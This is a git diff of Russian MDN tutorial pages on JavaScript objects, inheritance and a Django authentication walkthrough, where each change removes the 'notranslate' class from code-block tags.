вы можете проверить ваши новые элементы:</p> -<pre class="brush: js notranslate">person['eyes'] +<pre class="brush: js">person['eyes'] person.farewell()</pre> <p>Одним из полезных аспектов скобочной записи является то, что с её помощью можно динамически задавать не только значения элементов, но и их имена. Предположим, что мы хотим, чтобы пользователи могли хранить пользовательские типы данных, введя имя и значение элемента в два следующих поля? Мы могли бы получить эти значения следующим образом:</p> -<pre class="brush: js notranslate">let myDataName = nameInput.value; +<pre class="brush: js">let myDataName = nameInput.value; let myDataValue = nameValue.value;</pre> <p>Затем мы можем добавить имя и значение этого нового элемента в объект <code>person</code> таким образом:</p> -<pre class="brush: js notranslate">person[myDataName] = myDataValue;</pre> +<pre class="brush: js">person[myDataName] = myDataValue;</pre> <p>Чтобы проверить это, попробуйте добавить следующие строки в свой код, после закрывающей скобки объекта <code>person</code> :</p> -<pre class="brush: js notranslate">let myDataName = 'height'; +<pre class="brush: js">let myDataName = 'height'; let myDataValue = '1.75m'; person[myDataName] = myDataValue;</pre> <p>Теперь попробуйте сохранить и обновить, затем введите следующее в консоль браузера:</p> -<pre class="brush: js notranslate">person.height</pre> +<pre class="brush: js">person.height</pre> <p>Добавление свойства объекта с использованием вышеописанного метода невозможно с использованием точечной записи, которая может принимать только литеральное имя элемента, а не значение переменной указывающее на имя.</p> @@ -184,7 +184,7 @@ person[myDataName] = myDataValue;</pre> <p>Возможно, вы заметили что-то странное в наших методах. Посмотрите на этот пример:</p> -<pre class="brush: js notranslate">greeting: function() { +<pre class="brush: js">greeting: function() { alert('Hi! I\'m ' + this.name.first + '.'); }</pre> @@ -192,7 +192,7 @@ person[myDataName] = myDataValue;</pre> <p>Давайте проиллюстрируем, что мы имеем в виду, с упрощённой парой объектов <code>person</code> :</p> -<pre class="brush: js notranslate">const person1 = { +<pre class="brush: js">const person1 = { name: 'Chris', greeting: function() { alert('Hi! I\'m ' + this.name + '.'); @@ -214,13 +214,13 @@ const person2 = { <p>Поэтому, когда вы использовали строковые методы, такие как:</p> -<pre class="brush: js notranslate">myString.split(',');</pre> +<pre class="brush: js">myString.split(',');</pre> <p>Вы использовали метод доступный в экземпляре класса <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Каждый раз создавая строку в вашем коде, эта строка автоматически создаётся как экземпляр <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, и поэтому имеет несколько общих методов/свойств, доступных на нем.</p> <p>Когда вы обращались к объектной модели документа (DOM), используя следующие строки:</p> -<pre class="brush: js notranslate">const myDiv = document.createElement('div'); +<pre class="brush: js">const myDiv = document.createElement('div'); const myVideo = document.querySelector('video');</pre> <p>Вы использовали методы доступные в экземпляре класса <code><a href="/en-US/docs/Web/API/Document">Document</a></code>. Для каждой загруженной веб-страницы создаётся экземпляр <code><a href="/en-US/docs/Web/API/Document">Document</a></code>, называемый <code>document</code>, который представляет всю структуру страницы, её содержимое и другие функции, такие как URL-адрес. Опять же, это означает, что он имеет несколько общих методов/свойств, доступных на нем.</p> @@ -229,7 +229,7 @@ const myVideo = document.querySelector('video');</pre> <p>Обратите внимание, что встроенные объекты/API не всегда создают экземпляры объектов автоматически. Как пример, <a href="/ru/docs/Web/API/Notifications_API">Notifications API</a> — который позволяет новым браузерам запускать системные уведомления, требует, чтобы вы создавали новый экземпляр объекта с помощью конструктора для каждого уведомления, которое вы хотите запустить. Попробуйте ввести следующее в консоль JavaScript:</p> -<pre class="brush: js notranslate">const myNotification = new Notification('Hello!');</pre> +<pre class="brush: js">const myNotification = new Notification('Hello!');</pre> <p>Опять же, мы рассмотрим конструкторы в следующей статье.</p> diff --git a/files/ru/learn/javascript/objects/inheritance/index.html b/files/ru/learn/javascript/objects/inheritance/index.html index 97e9a98fbd..f1514a92c6 100644 --- a/files/ru/learn/javascript/objects/inheritance/index.html +++ b/files/ru/learn/javascript/objects/inheritance/index.html @@ -57,7 +57,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p>Прежде всего сделайте себе локальную копию нашего файла <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (он также работает <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">в режиме реального времени</a>). В файле вы найдёте тот же пример конструктора <code>Person()</code>, который мы использовали на протяжении всего модуля, с небольшим отличием - мы определили внутри конструктора только лишь свойства:</p> -<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { +<pre class="brush: js">function Person(first, last, age, gender, interests) { this.name = { first, last @@ -69,7 +69,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p><em>Все</em> методы определены в прототипе конструктора. Например:</p> -<pre class="brush: js notranslate">Person.prototype.greeting = function() { +<pre class="brush: js">Person.prototype.greeting = function() { alert('Hi! I\'m ' + this.name.first + '.'); };</pre> @@ -88,7 +88,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p>Первое, что нам нужно сделать, это создать конструктор <code>Teacher()</code> - добавьте ниже следующий код:</p> -<pre class="brush: js notranslate">function Teacher(first, last, age, gender, interests, subject) { +<pre class="brush: js">function Teacher(first, last, age, gender, interests, subject) { Person.call(this, first, last, age, gender, interests); this.subject = subject; @@ -102,7 +102,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p>В качестве примечания мы могли бы просто сделать это:</p> -<pre class="brush: js notranslate">function Teacher(first, last, age, gender, interests, subject) { +<pre class="brush: js">function Teacher(first, last, age, gender, interests, subject) { this.name = { first, last @@ -119,14 +119,14 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p>Обратите внимание, что если конструктор, от которого вы наследуете, не принимает значения своего свойства из параметров, вам не нужно указывать их в качестве дополнительных аргументов в <code>call()</code>. Так, например, если у вас было что-то действительно простое:</p> -<pre class="brush: js notranslate">function Brick() { +<pre class="brush: js">function Brick() { this.width = 10; this.height = 20; }</pre> <p>Вы можете наследовать свойства <code>width</code> и <code>height</code>, выполнив это (как и другие шаги, описанные ниже, конечно):</p> -<pre class="brush: js notranslate">function BlueGlassBrick() { +<pre class="brush: js">function BlueGlassBrick() { Brick.call(this); this.opacity = 0.5; @@ -141,11 +141,11 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <ol> <li>Добавьте следующую строку ниже своего предыдущего добавления: - <pre class="brush: js notranslate">Teacher.prototype = Object.create(Person.prototype);</pre> + <pre class="brush: js">Teacher.prototype = Object.create(Person.prototype);</pre> Здесь наш друг <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> снова приходит на помощь. В этом случае мы используем его для создания нового объекта и делаем его значением <code>Teacher.prototype</code>. Новый объект имеет свой прототип <code>Person.prototype</code> и, следовательно, наследует, если и когда это необходимо, все доступные методы <code>Person.prototype</code>.</li> <li>Нам нужно сделать ещё одну вещь, прежде чем двигаться дальше. После добавления последней строки, <code>Teacher.prototype.constructor</code> стало равным <code>Person()</code>, потому что мы просто устанавливаем <code>Teacher.prototype</code> для ссылки на объект, который наследует его свойства от <code>Person.prototype</code>! Попробуйте сохранить код, загрузите страницу в браузере и введите <code>Teacher.prototype.constructor</code> в консоль для проверки.</li> <li>Это может стать проблемой, поэтому нам нужно сделать это правильно. Вы можете сделать это, вернувшись к исходному коду и добавив следующие строки внизу: - <pre class="notranslate"><code>Object.defineProperty(Teacher.prototype, 'constructor', { + <pre><code>Object.defineProperty(Teacher.prototype, 'constructor', { value: Teacher, enumerable: false, // false, чтобы данное свойство не появлялось в цикле for in writable: true });</code></pre> @@ -159,7 +159,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p>Самый простой способ сделать это - определить его на прототипе <code>Teacher()</code> - добавить в нижнюю часть кода следующее:</p> -<pre class="brush: js notranslate">Teacher.prototype.greeting = function() { +<pre class="brush: js">Teacher.prototype.greeting = function() { var prefix; if (this.gender === 'male' || this.gender === 'Male' || this.gender === 'm' || this.gender === 'M') { @@ -179,11 +179,11 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <p>Теперь, когда вы ввели весь код, попробуйте создать экземпляр объекта из <code>Teacher()</code>, поставив ниже вашего JavaScript-кода (или что-то похожее по вашему выбору):</p> -<pre class="brush: js notranslate">var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');</pre> +<pre class="brush: js">var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');</pre> <p>Теперь сохраните, обновите, и попробуйте получить доступ к свойствам и методам вашего нового объекта <code>teacher1</code>, например:</p> -<pre class="brush: js notranslate">teacher1.name.first; +<pre class="brush: js">teacher1.name.first; teacher1.interests[0]; teacher1.bio(); teacher1.subject; diff --git a/files/ru/learn/javascript/objects/object-oriented_js/index.html b/files/ru/learn/javascript/objects/object-oriented_js/index.html index 7fe8592651..409aa367f2 100644 --- a/files/ru/learn/javascript/objects/object-oriented_js/index.html +++ b/files/ru/learn/javascript/objects/object-oriented_js/index.html @@ -87,7 +87,7 @@ original_slug: Learn/JavaScript/Объекты/Object-oriented_JS <ol> <li>Давайте рассмотрим как можно определить человека с нормальной функцией. Добавьте эту функцию в элемент <code>script</code>: - <pre class="brush: js notranslate">function createNewPerson(name) { + <pre class="brush: js">function createNewPerson(name) { const obj = {}; obj.name = name; obj.greeting = function() { @@ -97,12 +97,12 @@ original_slug: Learn/JavaScript/Объекты/Object-oriented_JS }</pre> </li> <li>Теперь вы можете создать нового человека, вызвав эту функцию - попробуйте следующие строки в консоли JavaScript браузера: - <pre class="brush: js notranslate">const salva = createNewPerson('Salva'); + <pre class="brush: js">const salva = createNewPerson('Salva'); salva.name; salva.greeting();</pre> Это работает достаточно хорошо, но код излишне многословен; если мы знаем, что хотим создать объект, зачем нам явно создавать новый пустой объект и возвращать его? К счастью, JavaScript предоставляет нам удобный способ в виде функций-конструкторов - давайте сделаем это сейчас!</li> <li>Замените предыдущую функцию следующей: - <pre class="brush: js notranslate">function Person(name) { + <pre class="brush: js">function Person(name) { this.name = name; this.greeting = function() { alert('Hi! I\'m ' + this.name + '.'); @@ -121,11 +121,11 @@ salva.greeting();</pre> <ol> <li>Добавьте следующие строки под предыдущим добавлением кода: - <pre class="brush: js notranslate">let person1 = new Person('Bob'); + <pre class="brush: js">let person1 = new Person('Bob'); let person2 = new Person('Sarah');</pre> </li> <li>Сохраните код и перезагрузите его в браузере и попробуйте ввести следующие строки в консоль JS: - <pre class="brush: js notranslate">person1.name + <pre class="brush: js">person1.name person1.greeting() person2.name person2.greeting()</pre> @@ -136,12 +136,12 @@ person2.greeting()</pre> <p>Давайте снова посмотрим на вызовы конструктора:</p> -<pre class="brush: js notranslate">let person1 = new Person('Bob'); +<pre class="brush: js">let person1 = new Person('Bob'); let person2 = new Person('Sarah');</pre> <p>В каждом случае ключевое слово <code>new</code> используется, чтобы сообщить браузеру, что мы хотим создать экземпляр нового объекта, за которым следует имя функции с её необходимыми параметрами, содержащимися в круглых скобках, и результат сохраняется в переменной - очень похоже на то, как вызывается стандартная функция. Каждый экземпляр создаётся в соответствии с этим определением:</p> -<pre class="brush: js notranslate">function Person(name) { +<pre class="brush: js">function Person(name) { this.name = name; this.greeting = function() { alert('Hi! I\'m ' + this.name + '.'); @@ -150,7 +150,7 @@ let person2 = new Person('Sarah');</pre> <p>После создания новых объектов переменные <code>person1</code> и <code>person2</code> содержат следующие объекты:</p> -<pre class="brush: js notranslate">{ +<pre class="brush: js">{ name: 'Bob', greeting: function() { alert('Hi! I\'m ' + this.name + '.'); @@ -172,7 +172,7 @@ let person2 = new Person('Sarah');</pre> <ol> <li>Замените весь предыдущий код новой функцией конструктора - это, в принципе, тот же самое что и в наглядном примере, но несколько сложнее: - <pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + <pre class="brush: js">function Person(first, last, age, gender, interests) { this.name = { first : first, last: last @@ -189,13 +189,13 @@ let person2 = new Person('Sarah');</pre> };</pre> </li> <li>Теперь добавьте следующую строку ниже, чтобы создать экземпляр объекта из него: - <pre class="brush: js notranslate">let person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> + <pre class="brush: js">let person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> </li> </ol> <p>Как вы могли заметить, вы можете получить доступ к свойствам и методам, как это было ранее, - попробуйте использовать их в консоли JS:</p> -<pre class="brush: js notranslate">person1['age'] +<pre class="brush: js">person1['age'] person1.interests[1] person1.bio() // etc.</pre> @@ -224,17 +224,17 @@ person1.bio() <ol> <li>Попробуйте ввести это в консоль JavaScript вашего браузера: - <pre class="brush: js notranslate">let person1 = new Object();</pre> + <pre class="brush: js">let person1 = new Object();</pre> </li> <li>Это сохраняет ссылку на пустой объект в переменную <code>person1</code>. Затем вы можете добавить свойства и методы к этому объекту с использованием точечной или скобочной нотации по желанию; попробуйте эти примеры в консоли: - <pre class="brush: js notranslate">person1.name = 'Chris'; + <pre class="brush: js">person1.name = 'Chris'; person1['age'] = 38; person1.greeting = function() { alert('Hi! I\'m ' + this.name + '.'); };</pre> </li> <li>Вы также можете передать литерал объекта конструктору <code>Object()</code> в качестве параметра, чтобы заполнить его свойствами / методами. Попробуйте это в консоли JS: - <pre class="brush: js notranslate">let person1 = new Object({ + <pre class="brush: js">let person1 = new Object({ name: 'Chris', age: 38, greeting: function() { @@ -252,10 +252,10 @@ person1.greeting = function() { <ol> <li>Закончив упражнение из предыдущего раздела, загруженное в браузер, попробуйте это в консоли JavaScript: - <pre class="brush: js notranslate">let person2 = Object.create(person1);</pre> + <pre class="brush: js">let person2 = Object.create(person1);</pre> </li> <li>Теперь попробуйте: - <pre class="brush: js notranslate">person2.name + <pre class="brush: js">person2.name person2.greeting()</pre> </li> </ol> diff --git a/files/ru/learn/javascript/objects/object_building_practice/index.html b/files/ru/learn/javascript/objects/object_building_practice/index.html index 155d130c77..283ee36001 100644 --- a/files/ru/learn/javascript/objects/object_building_practice/index.html +++ b/files/ru/learn/javascript/objects/object_building_practice/index.html @@ -49,7 +49,7 @@ original_slug: Learn/JavaScript/Объекты/Object_building_practice <p>Первая часть скрипта выглядит так:</p> -<pre class="brush: js notranslate">var canvas = document.querySelector('canvas'); +<pre class="brush: js">var canvas = document.querySelector('canvas'); var ctx = canvas.getContext('2d'); @@ -64,7 +64,7 @@ var height = canvas.height = window.innerHeight;</pre> <p>Последний бит исходного скрипта выглядит следующим образом:</p> -<pre class="brush: js notranslate">function random(min, max) { +<pre class="brush: js">function random(min, max) { var num = Math.floor(Math.random() * (max - min + 1)) + min; return num; }</pre> @@ -75,7 +75,7 @@ var height = canvas.height = window.innerHeight;</pre> <p>В нашей программе будет много шаров, подпрыгивающих вокруг экрана. Поскольку эти шары будут вести себя одинаково, имеет смысл представлять их в виде объекта. Начнём с добавления следующего конструктора в конец нашего кода.</p> -<pre class="brush: js notranslate">function Ball(x, y, velX, velY, color, size) { +<pre class="brush: js">function Ball(x, y, velX, velY, color, size) { this.x = x; this.y = y; this.velX = velX; @@ -99,7 +99,7 @@ var height = canvas.height = window.innerHeight;</pre> <p>Сначала добавьте следующий метод <code>draw()</code> к <code>Ball()</code>'s <code>prototype</code>:</p> -<pre class="brush: js notranslate">Ball.prototype.draw = function() { +<pre class="brush: js">Ball.prototype.draw = function() { ctx.beginPath(); ctx.fillStyle = this.color; ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); @@ -127,10 +127,10 @@ var height = canvas.height = window.innerHeight;</pre> <li>Сохраните код и загрузите HTML-файл в браузер.</li> <li>Откройте консоль JavaScript браузера, а затем обновите страницу, чтобы размер холста изменился в соответствии с новой шириной и высотой окна просмотра браузера после открытия консоли.</li> <li>Чтобы создать новый экземпляр шара, введите следующее: - <pre class="brush: js notranslate">var testBall = new Ball(50, 100, 4, 4, 'blue', 10);</pre> + <pre class="brush: js">var testBall = new Ball(50, 100, 4, 4, 'blue', 10);</pre> </li> <li>Попробуйте вызвать его свойства и методы: - <pre class="brush: js notranslate">testBall.x + <pre class="brush: js">testBall.x testBall.size testBall.color testBall.draw()</pre> @@ -142,7 +142,7 @@ testBall.draw()</pre> <p>Мы можем нарисовать мяч в нужном положении, но чтобы начать движение мяча, нам нужна функция обновления. Добавьте следующий код внизу вашего файла JavaScript, чтобы добавить метод <code>update()</code> к <code>Ball()</code>'s <code>prototype</code>:</p> -<pre class="brush: js notranslate">Ball.prototype.update = function() { +<pre class="brush: js">Ball.prototype.update = function() { if ((this.x + this.size) >= width) { this.velX = -(this.velX); } @@ -186,12 +186,12 @@ testBall.draw()</pre> <ol> <li>Во-первых, нам нужно где-то хранить все наши шары. Следующий массив выполнит это задание - добавьте его внизу кода: - <pre class="brush: js notranslate">var balls = [];</pre> + <pre class="brush: js">var balls = [];</pre> <p>Все программы, которые оживляют вещи, обычно включают цикл анимации, который служит для обновления информации в программе, а затем визуализации результирующего представления для каждого кадра анимации; это основа для большинства игр и других подобных программ.</p> </li> <li>Добавьте ниже эту часть кода: - <pre class="brush: js notranslate">function loop() { + <pre class="brush: js">function loop() { ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; ctx.fillRect(0, 0, width, height); @@ -225,7 +225,7 @@ testBall.draw()</pre> </ul> </li> <li>И последнее, но не менее важное: добавьте следующую строку в конец вашего кода - нам нужно вызвать функцию один раз, чтобы начать анимацию. - <pre class="brush: js notranslate">loop();</pre> + <pre class="brush: js">loop();</pre> </li> </ol> @@ -238,7 +238,7 @@ testBall.draw()</pre> <ol> <li>Прежде всего, добавьте следующее определение метода ниже, где вы определили метод <code>update()</code> (т.е. блок <code>Ball.prototype.update</code>). - <pre class="brush: js notranslate">Ball.prototype.collisionDetect = function() { + <pre class="brush: js">Ball.prototype.collisionDetect = function() { for (var j = 0; j < balls.length; j++) { if (!(this === balls[j])) { var dx = this.x - balls[j].x; @@ -262,7 +262,7 @@ testBall.draw()</pre> </ul> </li> <li>Вы также должны вызвать этот метод в каждом кадре анимации. Добавьте следующий код после строки <code>balls[i].update();</code> - <pre class="brush: js notranslate">balls[i].collisionDetect();</pre> + <pre class="brush: js">balls[i].collisionDetect();</pre> </li> <li>Сохраните и обновите демо снова, и вы увидите, как ваши мячи меняют цвет, когда они сталкиваются!</li> </ol> diff --git a/files/ru/learn/server-side/django/authentication/index.html b/files/ru/learn/server-side/django/authentication/index.html index a4baafeae5..c8508e97b7 100644 --- a/files/ru/learn/server-side/django/authentication/index.html +++ b/files/ru/learn/server-side/django/authentication/index.html @@ -61,7 +61,7 @@ original_slug: Learn/Server-side/Django/Аутентификация <p>Соответствующие настройки сделаны в параметрах <code>INSTALLED_APPS</code> и <code>MIDDLEWARE</code> файла проекта (<strong>locallibrary/locallibrary/settings.py</strong>), как показано ниже:</p> -<pre class="brush: python notranslate">INSTALLED_APPS = [ +<pre class="brush: python">INSTALLED_APPS = [ ... <strong> 'django.contrib.auth', </strong># Фреймворк аутентификации и моделей по умолчанию. <strong> 'django.contrib.contenttypes', # </strong>Django контент-типовая система (даёт разрешения, связанные с моделями). @@ -82,7 +82,7 @@ MIDDLEWARE = [ <div class="note"> <p><strong>Примечание</strong>: вы можете создавать пользователей программно, как показано ниже. Например, вам мог бы подойти данный способ в том случае, если вы разрабатываете интерфейс, который позволяет пользователям создавать их собственные аккаунты (вы не должны предоставлять доступ пользователям к административной панели вашего сайта).</p> -<pre class="brush: python notranslate">from django.contrib.auth.models import User +<pre class="brush: python">from django.contrib.auth.models import User # Создайте пользователя и сохраните его в базе данных user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword') @@ -144,7 +144,7 @@ user.save() <p>Добавьте следующее в нижней части проекта urls.py файл (<strong>locallibrary/locallibrary/urls.py</strong>) файл:</p> -<pre class="brush: python notranslate">#Add Django site authentication urls (for login, logout, password management) +<pre class="brush: python">#Add Django site authentication urls (for login, logout, password management) urlpatterns += [ path('accounts/', include('django.contrib.auth.urls')), ] @@ -157,7 +157,7 @@ urlpatterns += [ </div> <div class="note"> -<pre class="brush: python notranslate">accounts/ login/ [name='login'] +<pre class="brush: python">accounts/ login/ [name='login'] accounts/ logout/ [name='logout'] accounts/ password_change/ [name='password_change'] accounts/ password_change/done/ [name='password_change_done'] @@ -169,7 +169,7 @@ accounts/ reset/done/ [name='password_reset_complete']</pre> <p><span id="result_box" lang="ru"><span>Теперь попробуйте перейти к URL-адресу входа (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>).</span> <span>Это приведёт к сбою снова, но с ошибкой, сообщающей вам, что нам не хватает требуемого шаблона (registration / login.html) в пути поиска шаблона.</span> <span>Вы увидите следующие строки, перечисленные в жёлтом разделе вверху:</span></span></p> -<pre class="brush: python notranslate">Exception Type: TemplateDoesNotExist +<pre class="brush: python">Exception Type: TemplateDoesNotExist Exception Value: <strong>registration/login.html</strong></pre> <p><span id="result_box" lang="ru"><span>Следующий шаг - создать каталог регистрации в пути поиска, а затем добавить файл login.html.</span></span></p> @@ -191,7 +191,7 @@ Exception Value: <strong>registration/login.html</strong></pre> <p>Чтобы сделать эти директории видимыми для загрузчика шаблонов (<span id="result_box" lang="ru"><span>т. е. помещать этот каталог в путь поиска шаблона</span></span>) откройте настройки проекта (<strong>/locallibrary/locallibrary/settings.py</strong>), и обновите в секции <code>TEMPLATES</code> строку <code>'DIRS'</code> как показано.</p> -<pre class="brush: python notranslate">TEMPLATES = [ +<pre class="brush: python">TEMPLATES = [ { ... <strong> </strong><strong>'DIRS': [os.path.join(BASE_DIR, 'templates')],</strong> @@ -207,7 +207,7 @@ Exception Value: <strong>registration/login.html</strong></pre> <p>Создайте новый HTML файл, названный /<strong>locallibrary/templates/registration/login.html</strong>. <span class="short_text" id="result_box" lang="ru"><span>дайте ему следующее содержание</span></span>:</p> -<pre class="brush: html line-numbers language-html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html line-numbers language-html">{% extends "base_generic.html" %} {% block content %} @@ -258,7 +258,7 @@ Exception Value: <strong>registration/login.html</strong></pre> <br> <span>Откройте настройки проекта (<strong>/locallibrary/locallibrary/settings.py</strong>) и добавьте текст ниже.</span> <span>Теперь, когда вы входите в систему, вы по умолчанию должны перенаправляться на домашнюю страницу сайта.</span></span></p> -<pre class="brush: python notranslate"># Redirect to home URL after login (Default redirects to /accounts/profile/) +<pre class="brush: python"># Redirect to home URL after login (Default redirects to /accounts/profile/) LOGIN_REDIRECT_URL = '/' </pre> @@ -268,7 +268,7 @@ LOGIN_REDIRECT_URL = '/' <br> <span>Создайте и откройте <strong>/locallibrary/templates/registration/logged_out.html</strong>.</span> <span>Скопируйте текст ниже:</span></span></p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} <p>Logged out!</p> @@ -290,7 +290,7 @@ LOGIN_REDIRECT_URL = '/' <p><span id="result_box" lang="ru"><span>Это форма, используемая для получения адреса электронной почты пользователя (для отправки пароля для сброса пароля).</span> <span>Создайте <strong>/locallibrary/templates/registration/password_reset_form.html</strong> и дайте ему следующее содержание:</span></span></p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} <form action="" method="post">{% csrf_token %} @@ -306,7 +306,7 @@ LOGIN_REDIRECT_URL = '/' <p>Эта форма отображается после того, как ваш адрес электронной почты будет собран. Создайте <strong>/locallibrary/templates/registration/password_reset_done.html</strong>, и дайте ему следующее содержание:</p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} <p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p> {% endblock %} @@ -316,7 +316,7 @@ LOGIN_REDIRECT_URL = '/' <p>Этот шаблон предоставляет текст электронной почты HTML, содержащий ссылку на сброс, которую мы отправим пользователям. Создайте /locallibrary/templates/registration/password_reset_email.html и дайте ему следующее содержание:</p> -<pre class="brush: html notranslate">Someone asked for password reset for email \{{ email }}. Follow the link below: +<pre class="brush: html">Someone asked for password reset for email \{{ email }}. Follow the link below: \{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %} </pre> @@ -324,7 +324,7 @@ LOGIN_REDIRECT_URL = '/' <p>На этой странице вы вводите новый пароль после нажатия ссылки в электронном письме с возвратом пароля. Создайте /locallibrary/templates/registration/password_reset_confirm.html и дайте ему следующее содержание:</p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} @@ -361,7 +361,7 @@ LOGIN_REDIRECT_URL = '/' <p>Это последний шаблон сброса пароля, который отображается, чтобы уведомить вас о завершении сброса пароля. Создайте /locallibrary/templates/registration/password_reset_complete.html и дайте ему следующее содержание:</p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} <h1>The password has been changed!</h1> @@ -383,7 +383,7 @@ LOGIN_REDIRECT_URL = '/' <div class="note"> <p><strong>Примечание</strong>: Система сброса пароля требует, чтобы ваш сайт поддерживал электронную почту, что выходит за рамки этой статьи, поэтому эта часть <strong>ещё не будет работать.</strong> Чтобы разрешить тестирование, поместите следующую строку в конец файла settings.py. Это регистрирует любые письма, отправленные на консоль (чтобы вы могли скопировать ссылку на сброс пароля с консоли).</p> -<pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' +<pre class="brush: python">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' </pre> <p>Для получения дополнительной информации см. <a href="https://docs.djangoproject.com/en/2.0/topics/email/">Отправка email</a> (Django docs).</p> @@ -401,7 +401,7 @@ LOGIN_REDIRECT_URL = '/' <p>Откройте базовый шаблон (/locallibrary/catalog/templates/base_generic.html) и скопируйте следующий текст в sidebar блок непосредственно перед тегом шаблона endblock.</p> -<pre class="brush: python notranslate"> <ul class="sidebar-nav"> +<pre class="brush: python"> <ul class="sidebar-nav"> ... @@ -425,7 +425,7 @@ LOGIN_REDIRECT_URL = '/' <p>Если вы используете функциональные представления, самым простым способом ограничить доступ к вашим функциям является применение <code>login_required</code> декоратор к вашей функции просмотра, как показано ниже. Если пользователь вошёл в систему, ваш код просмотра будет выполняться как обычно. Если пользователь не вошёл в систему, это перенаправит URL-адрес входа, определённый в настройках проекта. (<code>settings.LOGIN_URL</code>), передав текущий абсолютный путь в качестве <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">next</span></font> параметра URL. Если пользователю удастся войти в систему, они будут возвращены на эту страницу, но на этот раз аутентифицированы.</p> -<pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required +<pre class="brush: python">from django.contrib.auth.decorators import login_required @login_required def my_view(request): @@ -437,14 +437,14 @@ def my_view(request): <p>Аналогичным образом, самый простой способ ограничить доступ к зарегистрированным пользователям в ваших представлениях на основе классов - это производные от <code>LoginRequiredMixin</code>. Вы должны объявить этот mixin сначала в списке суперкласса, перед классом основного представления.</p> -<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin +<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin class MyView(LoginRequiredMixin, View): ...</pre> <p>Это имеет такое же поведение при переадресации, что и <code>login_required</code> декоратор. Вы также можете указать альтернативное местоположение для перенаправления пользователя, если он не аутентифицирован (<code>login_url</code>), и имя параметра URL вместо "<code>next</code>" , чтобы вставить текущий абсолютный путь (<code>redirect_field_name</code>).</p> -<pre class="brush: python notranslate">class MyView(LoginRequiredMixin, View): +<pre class="brush: python">class MyView(LoginRequiredMixin, View): login_url = '/login/' redirect_field_name = 'redirect_to' </pre> @@ -463,21 +463,21 @@ class MyView(LoginRequiredMixin, View): <p>Откройте <strong>catalog/models.py</strong>, и импортируйте модель <code>User</code> из <code>django.contrib.auth.models</code> (добавьте это чуть ниже предыдущей строки импорта в верхней части файла, так <code>User</code> доступен для последующего кода, что позволяет использовать его):</p> -<pre class="brush: python notranslate">from django.contrib.auth.models import User +<pre class="brush: python">from django.contrib.auth.models import User </pre> <p>Затем добавьте поле <code>borrower</code> в модель <code>BookInstance</code>:</p> -<pre class="brush: python notranslate">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True) +<pre class="brush: python">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True) </pre> <p>Пока мы здесь, давайте добавим свойство, которое мы можем вызвать из наших шаблонов, чтобы указать, просрочен ли конкретный экземпляр книги. Хотя мы могли бы рассчитать это в самом шаблоне, использование свойства, как показано ниже, будет намного более эффективным. Добавьте это где-нибудь в верхней части файла:</p> -<pre class="syntaxbox notranslate">from datetime import date</pre> +<pre class="syntaxbox">from datetime import date</pre> <p>Теперь добавьте следующее определение свойства внутри класса BookInstance:</p> -<pre class="brush: python notranslate">@property +<pre class="brush: python">@property def is_overdue(self): if self.due_back and date.today() > self.due_back: return True @@ -489,7 +489,7 @@ def is_overdue(self): <p>Теперь, когда мы обновили наши модели, нам нужно будет внести новые изменения в проект, а затем применить эти миграции:</p> -<pre class="brush: bash notranslate">python3 manage.py makemigrations +<pre class="brush: bash">python3 manage.py makemigrations python3 manage.py migrate </pre> @@ -497,7 +497,7 @@ python3 manage.py migrate <p>Теперь откройте каталог <strong>catalog/admin.py</strong>, и добавьте поле <code>borrower</code> в класс <code>BookInstanceAdmin</code> , как в <code>list_display</code> , так и в полях <code>fieldsets</code> , как показано ниже. Это сделает поле видимым в разделе Admin, так что мы можем при необходимости назначить <code>User</code> в <code>BookInstance</code>.</p> -<pre class="brush: python notranslate">@admin.register(BookInstance) +<pre class="brush: python">@admin.register(BookInstance) class 